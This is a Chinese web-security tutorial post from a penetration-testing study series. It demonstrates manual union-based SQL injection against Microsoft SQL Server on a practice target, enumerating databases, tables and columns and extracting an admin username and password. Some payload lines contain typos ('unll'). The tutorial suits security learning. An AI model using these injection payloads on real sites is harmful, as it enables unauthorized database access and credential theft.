记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Web安全实战系列笔记 | SqlServer手工注入实战和分析(四)

2021-09-13 08:24

点击上方蓝字关注我们



本系列实战笔记为红日安全核心人员学习渗透测试期间记录实战笔记,该笔记主要记录自己学习Web安全和渗透测试一个时间路线,希望可以帮助目前在学习Web安全或者是学习渗透测试的同学不知如何下手,或者是对这个方向比较感兴趣的同学,目前该笔记包含以下几个方向内容:
1、黑客工具使用;
2、Web安全方向,包含SQL注入、XSS跨站、命令执行、SSRF等Web安全方向知识;
3、PHP语言讲解笔记
4、PHP代码审计笔记
5、WAF绕过笔记
6、逻辑漏洞学习笔记
希望阿痕自己学习笔记可以帮助更多想学习Web安全同学,另外该笔记为系列文章,转载请标注来源

1. 前言

首先要对sql server进行初步的了解。常用的全部变量
@@version:返回当前的Sql server安装的版本、处理器体系结构、生成日期和操作系统。
@@servername:放回运行Sql server的本地服务器名称
top在sql server,没有MySQL中的limit控制符,如果实现limit控制符功能则可以使用top进行代替。

2. 正文

如果对方网站管理员没有关闭错误消息提示,那么
;declare @d int    //判断sql server 支持多行语句查询
and (select count(1) from [sysobjects])>=0  //是否支持子查询
and user >0      //获取当前数据库用户名
and db_name>0  //获取当前数据库名称
and (select count(1) from [sysobjects])>=0  //当前数据库名
and 1=(select @@servername)    //本地服务名
这里就不一一列举了。
如果网站管理员关闭了错误提示,那就只能使用联合查询和盲注了。下面的靶场实例就是关闭错误页面提示的情况下,通过联合查询获得管理员账号和密码。

3. 判断注入点

通过观察,发现公告的地方可以进行尝试,如下图

点击公告,然后咱们 通过 and 1=1 和and 1=2 发现报错, 说明这里是注入点。如下图

4. 判断字段数

通过 order by 语句,发现 order by 4 返回正常,order by 5 报错,说明存在四个字段数,如下图。

6. 爆库

使用联合查询,需要注意的是,使用联合查询时需要前面不可查询,可以将参数2改为-2,也可以构造 and 1=2 两种方式都可以。为了避免出现错误,四个字段,都用 null 代替,构造如下语句
union all select null,null,unll,unll  
然后用数字依次代替,判断回显位置,发现第二个字段显示在页面中,将第二个null 替换为 (select db_name()),具体语句为
union all select 1,(select db_name()), null, null
结果为下图,爆出了数据库

7. 爆表

知道数据库名后,构造如下语句,爆出表名
union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null
结果如下图

8. 爆字段

通过构造如下语句,可以爆出所有字段,
union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null
结果如下图

9. 获取数据

通过构造如下语句
union all select 1,(select top 1 username from manage),null,null
union all select 1,(select top 1 password from manage),null,null
结果如下图

解密,登陆。实战结束

10. sql server(mssql)手工注入总结

第一步,判断注入点。通过 and 1=1 和and 1=2 判断,发现存在注入点,且为数据型。
第二步,判断字段数 通过 order by 语句。
第三步,判断回显位置 通过 union all select null,null,unll,unll 用数字依次替换,发现,第二个位置回显到页面上。
第三步,爆库,通过 union all select 1,(select db_name()), null, null (使用联合查询时,要使得前面不可查询,所以将2改为-2)
第四步,爆表,通过 union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null第五步,爆字段,通过 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null (变换后面得数字1,可以查询出所有字段)第七步,获取数据,通过 union all select1, (select top 1 字段 from 表名),null,null第八步,解密,登陆。

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
(来源:红日安全)


海量安全课程

阅读原文   可观看

 



知识来源: https://mp.weixin.qq.com/s?__biz=MzI4NjEyMDk0MA==&mid=2649850531&idx=1&sn=d1a7b8f87440ba1d22d5ae7697f206b1

阅读:3675 | 评论:0 | 标签:注入 SQL 安全 分析

想收藏或者和大家分享这篇好文章→复制链接地址

“Web安全实战系列笔记 | SqlServer手工注入实战和分析(四)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

求赞助求支持💖

标签云